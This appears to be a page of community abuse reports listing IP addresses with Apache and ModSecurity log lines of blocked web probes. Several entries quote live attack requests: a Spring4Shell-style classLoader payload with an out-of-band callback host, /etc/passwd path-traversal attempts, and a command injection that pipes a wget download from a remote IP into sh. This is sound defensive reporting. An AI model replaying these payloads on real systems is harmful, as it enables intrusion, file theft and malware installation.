🇺🇸
208.84.102.103
31 Oct 2025
[Thu Oct 30 20:23:08.482811 2025] [:error] [pid 363633:tid 140273229231872] [client 208.84.102.103:5 ...
show more
[Thu Oct 30 20:23:08.482811 2025] [:error] [pid 363633:tid 140273229231872] [client 208.84.102.103:58923] [client 208.84.102.103] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "recursing-panini.[redacted].plesk.page"] [uri "/postnews.php"] [unique_id "aQQBbMcEcEnsqL@uWwNSmQAAAEM"]
show less
Web App Attack
🇷🇺
185.103.25.19
30 Oct 2025
[Thu Oct 30 02:34:20.421882 2025] [:error] [pid 361623:tid 140273145304832] [client 185.103.25.19:40 ...
show more
[Thu Oct 30 02:34:20.421882 2025] [:error] [pid 361623:tid 140273145304832] [client 185.103.25.19:4082] [client 185.103.25.19] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/phpinfo.php"] [unique_id "aQMG7B8YyTdfaBI5UwvdawAAAE0"]
show less
Web App Attack
🇷🇺
5.175.106.64
30 Oct 2025
[Thu Oct 30 02:32:15.805991 2025] [:error] [pid 361623:tid 140273061377792] [client 5.175.106.64:563 ...
show more
[Thu Oct 30 02:32:15.805991 2025] [:error] [pid 361623:tid 140273061377792] [client 5.175.106.64:56358] [client 5.175.106.64] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/phpinfo.php"] [unique_id "aQMGbx8YyTdfaBI5UwvdZwAAAFc"]
show less
Web App Attack
🇷🇺
185.2.106.18
29 Oct 2025
[Wed Oct 29 16:17:27.410600 2025] [:error] [pid 360874:tid 140272885229312] [client 185.2.106.18:686 ...
show more
[Wed Oct 29 16:17:27.410600 2025] [:error] [pid 360874:tid 140272885229312] [client 185.2.106.18:6860] [client 185.2.106.18] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "[redacted]"] [uri "/phpinfo.php"] [unique_id "aQJ2V3U0HsuC3aq7YW8o7AAAAFQ"]
show less
Web App Attack
🇷🇺
86.62.13.115
29 Oct 2025
[Wed Oct 29 16:09:58.123377 2025] [:error] [pid 360873:tid 140273195661056] [client 86.62.13.115:177 ...
show more
[Wed Oct 29 16:09:58.123377 2025] [:error] [pid 360873:tid 140273195661056] [client 86.62.13.115:17749] [client 86.62.13.115] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "[redacted]"] [uri "/phpinfo.php"] [unique_id "aQJ0lpJEvchD1ryDCka3bwAAAAc"]
show less
Web App Attack
🇱🇹
194.165.16.11
29 Oct 2025
194.165.16.11 - - [29/Oct/2025:00:31:53 -0400] "GET /?class.module.classLoader.resources.context.con ...
show more
194.165.16.11 - - [29/Oct/2025:00:31:53 -0400] "GET /?class.module.classLoader.resources.context.configFile=http://d3qe7gf49vd8v4f7qkogf9pnj94bhtny3.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 200 509 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
show less
Web App Attack
🇱🇹
194.165.16.11
29 Oct 2025
194.165.16.11 - - [28/Oct/2025:22:11:03 -0400] "GET /?class.module.classLoader.resources.context.con ...
show more
194.165.16.11 - - [28/Oct/2025:22:11:03 -0400] "GET /?class.module.classLoader.resources.context.configFile=http://d3qe7gf49vd8v4f7qkog44c31yedakn7f.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 421 322
show less
Web App Attack
🇺🇸
23.137.105.108
28 Oct 2025
[Tue Oct 28 16:38:49.858507 2025] [:error] [pid 359277:tid 140272465856256] [client 23.137.105.108:5 ...
show more
[Tue Oct 28 16:38:49.858507 2025] [:error] [pid 359277:tid 140272465856256] [client 23.137.105.108:59018] [client 23.137.105.108] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "agitated-gates.[redacted].plesk.page"] [uri "/postnews.php"] [unique_id "aQEp2WXgmFakIMZz2YfVlgAAAJU"]
show less
Web App Attack
🇺🇸
34.171.150.212
28 Oct 2025
[Tue Oct 28 10:01:04.302141 2025] [:error] [pid 358059:tid 140272935552768] [client 34.171.150.212:5 ...
show more
[Tue Oct 28 10:01:04.302141 2025] [:error] [pid 358059:tid 140272935552768] [client 34.171.150.212:56212] [client 34.171.150.212] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "[redacted]"] [uri "/.git/config"] [unique_id "aQDMoNJRufZrcX8IgYnVhAAAANY"]
show less
Web App Attack
🇱🇹
194.165.16.11
28 Oct 2025
[Tue Oct 28 09:36:29.005968 2025] [core:error] [pid 130662:tid 140544994952960] [client 194.165.16.1 ...
show more
[Tue Oct 28 09:36:29.005968 2025] [core:error] [pid 130662:tid 140544994952960] [client 194.165.16.11:33358] AH00126: Invalid URI in request GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
[Tue Oct 28 09:36:29.100494 2025] [core:error] [pid 130660:tid 140544768448256] [client 194.165.16.11:33374] AH00126: Invalid URI in request GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
show less
Web App Attack
🇳🇱
45.148.10.154
27 Oct 2025
[Mon Oct 27 18:00:30.044481 2025] [:error] [pid 357148:tid 140272952370944] [client 45.148.10.154:40 ...
show more
[Mon Oct 27 18:00:30.044481 2025] [:error] [pid 357148:tid 140272952370944] [client 45.148.10.154:40874] [client 45.148.10.154] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.env"] [unique_id "aP-rfl8JlTrHhf256Csr@gAAAIw"]
show less
Web App Attack
🇳🇱
31.59.174.177
27 Oct 2025
[Mon Oct 27 14:48:32.260681 2025] [:error] [pid 356430:tid 140273321449216] [client 31.59.174.177:56 ...
show more
[Mon Oct 27 14:48:32.260681 2025] [:error] [pid 356430:tid 140273321449216] [client 31.59.174.177:56422] [client 31.59.174.177] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "[redacted]"] [uri "/.git/config"] [unique_id "aP@@gKx5XZEwkLsg9BCVPQAAAAE"]
show less
Web App Attack
🇱🇹
194.165.16.11
27 Oct 2025
194.165.16.11 - - [27/Oct/2025:11:33:11 -0400] "GET /?class.module.classLoader.resources.context.con ...
show more
194.165.16.11 - - [27/Oct/2025:11:33:11 -0400] "GET /?class.module.classLoader.resources.context.configFile=http://d3qe7gf49vd8v4f7qkogc861cc3mkiy1g.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 301 409 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
show less
Web App Attack
🇺🇸
35.171.83.198
27 Oct 2025
[Mon Oct 27 10:32:16.940743 2025] [:error] [pid 356432:tid 140273212446464] [client 35.171.83.198:46 ...
show more
[Mon Oct 27 10:32:16.940743 2025] [:error] [pid 356432:tid 140273212446464] [client 35.171.83.198:46352] [client 35.171.83.198] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.git/config"] [unique_id "aP@CcAoSdckyrupj544eFwAAAIU"]
show less
Web App Attack
🇱🇹
194.165.16.11
27 Oct 2025
194.165.16.11 - - [27/Oct/2025:09:12:02 -0400] "GET /?class.module.classLoader.resources.context.con ...
show more
194.165.16.11 - - [27/Oct/2025:09:12:02 -0400] "GET /?class.module.classLoader.resources.context.configFile=http://d3qe7gf49vd8v4f7qkog54f7qiiijwxy1.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 301 407 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
show less
Web App Attack
🇺🇸
124.198.131.83
26 Oct 2025
124.198.131.83 - - [26/Oct/2025:14:13:45 -0400] "GET /premise/front/getPingData?url=http://0.0.0.0:9 ...
show more
124.198.131.83 - - [26/Oct/2025:14:13:45 -0400] "GET /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=%3Bwget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.rtg.sh%7Csh%3B HTTP/1.1" 301 382 "-" "Mozilla/5.0 ([email protected] )"
show less
Web App Attack
🇱🇹
194.165.16.11
26 Oct 2025
[Sat Oct 25 21:02:49.731571 2025] [core:error] [pid 123587:tid 140545128277760] [client 194.165.16.1 ...
show more
[Sat Oct 25 21:02:49.731571 2025] [core:error] [pid 123587:tid 140545128277760] [client 194.165.16.11:53472] AH00126: Invalid URI in request GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
[Sat Oct 25 21:02:50.690070 2025] [core:error] [pid 123370:tid 140545020131072] [client 194.165.16.11:60618] AH00126: Invalid URI in request GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
show less
Web App Attack
🇳🇱
195.178.110.223
25 Oct 2025
[Sat Oct 25 18:51:41.169533 2025] [:error] [pid 352413:tid 140273103341312] [client 195.178.110.223: ...
show more
[Sat Oct 25 18:51:41.169533 2025] [:error] [pid 352413:tid 140273103341312] [client 195.178.110.223:47408] [client 195.178.110.223] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.git/config"] [unique_id "aP1UfcnV-kaYw37vynPRBgAAAJI"]
show less
Web App Attack
🇳🇱
93.123.109.60
25 Oct 2025
[Sat Oct 25 17:27:27.716022 2025] [:error] [pid 352412:tid 140273019512576] [client 93.123.109.60:37 ...
show more
[Sat Oct 25 17:27:27.716022 2025] [:error] [pid 352412:tid 140273019512576] [client 93.123.109.60:37970] [client 93.123.109.60] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.env"] [unique_id "aP1AvzuiEvYkOnBfLuPnIAAAAEQ"]
show less
Web App Attack
🇱🇹
194.165.16.11
25 Oct 2025
[Sat Oct 25 15:43:19.715957 2025] [core:error] [pid 351697:tid 140273313056512] [client 194.165.16.1 ...
show more
[Sat Oct 25 15:43:19.715957 2025] [core:error] [pid 351697:tid 140273313056512] [client 194.165.16.11:43238] AH00126: Invalid URI in request GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
[Sat Oct 25 15:43:20.702278 2025] [core:error] [pid 351916:tid 140273120126720] [client 194.165.16.11:33946] AH00126: Invalid URI in request GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
show less
Web App Attack
🇹🇷
188.119.62.230
25 Oct 2025
[Sat Oct 25 10:51:48.584652 2025] [:error] [pid 351697:tid 140273321449216] [client 188.119.62.230:6 ...
show more
[Sat Oct 25 10:51:48.584652 2025] [:error] [pid 351697:tid 140273321449216] [client 188.119.62.230:62815] [client 188.119.62.230] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/phpinfo.php"] [unique_id "aPzkBMOfRRIb@sO6Vk-SGAAAAIE"]
show less
Web App Attack
🇷🇺
77.51.52.250
25 Oct 2025
[Sat Oct 25 10:49:38.462881 2025] [:error] [pid 351696:tid 140273313056512] [client 77.51.52.250:546 ...
show more
[Sat Oct 25 10:49:38.462881 2025] [:error] [pid 351696:tid 140273313056512] [client 77.51.52.250:54662] [client 77.51.52.250] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/phpinfo.php"] [unique_id "aPzjgpybRKheVajWkWFhnQAAAEI"]
show less
Web App Attack
🇮🇪
3.250.113.9
25 Oct 2025
[Sat Oct 25 05:58:26.564074 2025] [:error] [pid 351697:tid 140273178875648] [client 3.250.113.9:5613 ...
show more
[Sat Oct 25 05:58:26.564074 2025] [:error] [pid 351697:tid 140273178875648] [client 3.250.113.9:56130] [client 3.250.113.9] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.env"] [unique_id "aPyfQsOfRRIb@sO6Vk-RKwAAAIk"], referer: https://www.google.com/
show less
Web App Attack
🇳🇱
213.209.157.232
25 Oct 2025
[Sat Oct 25 03:21:24.920400 2025] [:error] [pid 350511:tid 140273145304832] [client 213.209.157.232: ...
show more
[Sat Oct 25 03:21:24.920400 2025] [:error] [pid 350511:tid 140273145304832] [client 213.209.157.232:51730] [client 213.209.157.232] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.git/config"] [unique_id "aPx6dCMhxTaBijL0rwF8SQAAAM0"]
show less
Web App Attack
🇳🇱
195.178.110.201
25 Oct 2025
[Sat Oct 25 01:39:21.543732 2025] [:error] [pid 350511:tid 140273187268352] [client 195.178.110.201: ...
show more
[Sat Oct 25 01:39:21.543732 2025] [:error] [pid 350511:tid 140273187268352] [client 195.178.110.201:45672] [client 195.178.110.201] [redacted]: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "[redacted][redacted]"] [[redacted] "233"] [id "[redacted]"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [ver "[redacted]/4.7.0-dev"] [tag "[redacted]"] [tag "[redacted]"] [hostname "csweb.[redacted]"] [uri "/.env"] [unique_id "aPxiiSMhxTaBijL0rwF8JQAAAMg"]
show less
Web App Attack